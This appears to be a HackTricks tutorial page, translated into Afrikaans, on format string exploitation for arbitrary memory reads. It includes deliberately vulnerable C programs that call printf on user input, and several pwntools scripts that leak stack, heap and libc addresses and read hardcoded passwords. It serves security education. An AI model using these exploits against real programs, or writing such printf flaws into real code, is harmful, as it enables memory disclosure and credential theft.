Format Strings - Arbitrary Read Example
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Read Binary Start
Code
#include <stdio.h>
int main(void) {
char buffer[30];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
return 0;
}
Kompileer dit met:
clang -o fs-read fs-read.c -Wno-format-security -no-pie
Exploit
from pwn import *
p = process('./fs-read')
payload = f"%11$s|||||".encode()
payload += p64(0x00400000)
p.sendline(payload)
log.info(p.clean())
- Die offset is 11 omdat die plasing van verskeie As en brute-forcing met ’n loop wat offsets van 0 tot 50 deurgaan, uitgewis het dat by offset 11 en met 5 ekstra karakters (pipes
|in ons geval) dit moontlik is om ’n volle adres te beheer. - Ek het
%11$pgebruik met padding totdat ek gesien het dat die adres heeltemal 0x4141414141414141 was - Die format string payload is BEFORE the address omdat die printf stops reading at a null byte, dus as ons eers die adres stuur en daarna die format string, sal printf die format string nooit bereik nie aangesien ’n null byte vroeër gevind sal word
- Die adres gekies is 0x00400000 omdat dit is waar die binary start (no PIE)
Lees wagwoorde
Vulnerable binary with stack and BSS passwords
```c #includechar bss_password[20] = “hardcodedPassBSS”; // Password in BSS
int main() { char stack_password[20] = “secretStackPass”; // Password in stack char input1[20], input2[20];
printf(“Enter first password: “); scanf(”%19s“, input1);
printf(“Enter second password: “); scanf(”%19s“, input2);
// Vulnerable printf printf(input1); printf(“\n”);
// Check both passwords if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) { printf(“Access Granted.\n”); } else { printf(“Access Denied.\n”); }
return 0; }
</details>
Kompileer dit met:
```bash
clang -o fs-read fs-read.c -Wno-format-security
Lees vanaf stack
Die stack_password sal in die stack gestoor word omdat dit ’n plaaslike veranderlike is, so net die misbruik van printf om die inhoud van die stack te wys is genoeg. Dit is ’n exploit om die eerste 100 posisies te BF om die passwords uit die stack te leak:
from pwn import *
for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()
In die beeld is dit moontlik om te sien dat ons die password vanaf die stack in die 10th posisie kan leak:
.png)
.png)
Lees data
Deur dieselfde exploit te gebruik maar met %p in plaas van %s, is dit moontlik om ’n heap address vanaf die stack by %25$p te leak. Verder, deur die leaked address (0xaaaab7030894) met die posisie van die password in memory in daardie proses te vergelyk, kan ons die adresverskil bepaal:
Nou is dit tyd om te vind hoe om 1 address in die stack te beheer om dit vanaf die tweede format string vulnerability te bereik:
Vind beheersbare stack address
```python from pwn import *def leak_heap(p): p.sendlineafter(b“first password:“, b”%5$p“) p.recvline() response = p.recvline().strip()[2:] #Remove new line and “0x” prefix return int(response, 16)
for i in range(30): p = process(“./fs-read”)
heap_leak_addr = leak_heap(p) print(f“Leaked heap: {hex(heap_leak_addr)}“)
password_addr = heap_leak_addr - 0x126a
print(f“Try: {i}“) payload = f”%{i}$p|||“.encode() payload += b“AAAAAAAA”
p.sendline(payload) output = p.clean() print(output.decode(“utf-8”)) p.close()
</details>
En dit is moontlik om te sien dat in die **try 14**, met die gebruikte passing, ons 'n address kan beheer:
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
### Exploit
<details>
<summary>Leak heap then read password</summary>
```python
from pwn import *
p = process("./fs-read")
def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc
print(f"Calculated address is: {hex(password_addr)}")
# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)
p.sendline(payload)
output = p.clean()
print(output)
p.close()
Automatisering van offset-ontdekking
Wanneer die stack layout by elke run verander (full ASLR/PIE), is dit stadig om offsets handmatig te bruteforce. pwntools stel FmtStr beskikbaar om outomaties die argument-indeks te ontdek wat by ons beheerde buffer uitkom. Die lambda moet die programuitset teruggee nadat dit die kandidaat-payload gestuur het. Dit stop sodra dit betroubaar memory kan corrupt/observe.
from pwn import *
context.binary = elf = ELF('./fs-read', checksec=False)
# helper that sends payload and returns the first line printed
io = process()
def exec_fmt(payload):
io.sendline(payload)
return io.recvuntil(b'\n', drop=False)
fmt = FmtStr(exec_fmt=exec_fmt)
offset = fmt.offset
log.success(f"Discovered offset: {offset}")
Jy kan dan offset hergebruik om arbitrary read/write payloads te bou met fmtstr_payload, wat handmatige %p-fuzzing vermy.
PIE/libc leak dan arbitrary read
Op moderne binaries met PIE en ASLR, leak eers enige libc pointer (bv. __libc_start_main+243 of setvbuf), bereken die base, en plaas dan jou teikenadres na die format string. Dit keer dat die %s ingekort word deur null bytes binne die pointer.
Leak libc and read arbitrary address
```python from pwn import *elf = context.binary = ELF(‘./fs-read’, checksec=False) libc = ELF(‘/lib/x86_64-linux-gnu/libc.so.6’)
io = process()
leak libc address from stack (offset 25 from previous fuzz)
io.sendline(b“%25$p“) io.recvline() leak = int(io.recvline().strip(), 16) libc.address = leak - libc.symbols[‘__libc_start_main’] - 243 log.info(f“libc @ {hex(libc.address)}“)
secret = libc.address + 0x1f7bc # adjust to your target
payload = f“%14$s|||“.encode() payload += p64(secret)
io.sendline(payload) print(io.recvuntil(b“|||“)) # prints string at calculated address
</details>
## Verwysings
- [NVISO - Format string exploitation](https://blog.nviso.eu/2024/05/23/format-string-exploitation-a-hands-on-exploration-for-linux/)
- [Format string exploitation notes](https://hackmd.io/%40e20gJPRhRbKrBY5xcGKngA/SyM_Wcg_A)
> [!TIP]
> Leer en oefen AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Leer en oefen GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Leer en oefen Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Ondersteun HackTricks</summary>
>
> - Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
> - **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>


